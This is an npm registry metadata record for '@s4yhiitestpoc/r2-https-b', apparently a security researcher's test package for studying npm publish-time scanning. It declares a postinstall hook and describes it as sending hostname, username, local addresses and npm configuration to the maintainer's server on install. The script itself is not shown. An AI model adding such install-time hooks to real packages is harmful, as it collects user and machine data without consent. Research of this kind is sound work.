{"_id":"@s4yhiitestpoc/r2-https-b","_rev":"2-b36e217fde7cf1e4958d9d8177d9ce66","name":"@s4yhiitestpoc/r2-https-b","dist-tags":{"latest":"1.0.0"},"versions":{"0.0.0-stage":{"name":"@s4yhiitestpoc/r2-https-b","version":"0.0.0-stage","_id":"@s4yhiitestpoc/r2-https-b@0.0.0-stage","stub":true,"maintainers":[{"name":"s4yhii__","email":"jesusitpro22@gmail.com"}],"dist":{"shasum":"a3a48d6b6b2f7ca19d9d8b7d14fd225c2a543f95","tarball":"https://registry.npmjs.org/@s4yhiitestpoc/r2-https-b/-/r2-https-b-0.0.0-stage.tgz","fileCount":2,"integrity":"sha512-8TgnNeqqZANX7Z2pcwawHRVP0U5DYtu1nbotifYXtL2YfRypT8Tpjs46Qzy1Pc+K6/Y/TF6quptCkXOxlJs5FQ==","signatures":[{"sig":"MEUCIF5s/H8Kdqv6QDlZLAi2QtVcXhQx36DlgkzKjvOFa6KtAiEA5LMZ0ojZ8UU2jBOIriMYTfTgRUJ8ZKIkmcD39mstMZ4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":347},"_npmUser":{"name":"s4yhii__","email":"jesusitpro22@gmail.com"},"description":"Temporary package placeholder for staged publishing","directories":{}},"1.0.0":{"_id":"@s4yhiitestpoc/r2-https-b@1.0.0","dist":{"shasum":"8a275bc95b24a3acaa524dcad29bc9007355fc19","tarball":"https://registry.npmjs.org/@s4yhiitestpoc/r2-https-b/-/r2-https-b-1.0.0.tgz","fileCount":3,"integrity":"sha512-4awAT4uqWnfreXIQ2dwlO2rNOz66od0hf1qIosFZYyqaM1NoUZXnIhHnKZQedq5+aXdUJCwjiqiTqrnsbSO6qw==","signatures":[{"sig":"MEYCIQD+haZYBijAwH4nNs0f4KaFU2bYy3VF6EG4QhKbwBIODwIhAKmroxCXef1zK2fiFUvAsA0pNYCMklVPXoP3NMwd6+ma","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEUCIQCR+FQskvr0a6a8+Lfm+lZ6tMGOATsY92TtHthvA6HDzgIgGpENfCx+7VPDGIoh5Pa/0m5EnEsIL6r/qhGqZRwees0="}],"unpackedSize":4693},"name":"@s4yhiitestpoc/r2-https-b","license":"MIT","scripts":{"postinstall":"node ./postinstall.js"},"version":"1.0.0","_npmUser":{"name":"s4yhii__","email":"jesusitpro22@gmail.com"},"_npmVersion":"11.12.1","description":"Round-2 sample: postinstall sends a minimal install fingerprint plus npm's own registry configuration over HTTPS. No credentials or general environment variables are read.","directories":{},"maintainers":[{"name":"s4yhii__","email":"jesusitpro22@gmail.com"}],"_nodeVersion":"26.0.0","_hasShrinkwrap":false,"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/r2-https-b_1.0.0_1791636962748_0.127861392055181"}}},"time":{"created":"2026-10-10T12:55:27.784Z","modified":"2026-10-10T12:56:03.057Z","0.0.0-stage":"2026-10-10T12:55:27.784Z","1.0.0":"2026-10-10T12:56:02.822Z"},"description":"Round-2 sample: postinstall sends a minimal install fingerprint plus npm's own registry configuration over HTTPS. No credentials or general environment variables are read.","maintainers":[{"name":"s4yhii__","email":"jesusitpro22@gmail.com"}],"readme":"# r2-https-b\n\nRound-2 sample in a study of npm publish-time scanning behaviour, published to a\ndedicated research organisation.\n\nFrom postinstall, sends a small JSON document over HTTPS to an endpoint operated by the maintainer: package identity, install directory, hostname, username, platform, local interface addresses, and a fixed allowlist of npm_* configuration variables that npm sets for every lifecycle script. It does not read credentials, tokens, cloud metadata, files, or environment variables outside that allowlist.\n\nMaintainer: s4yhii__ (security researcher). Not intended for production use.\n","readmeFilename":"README.md","license":"MIT"}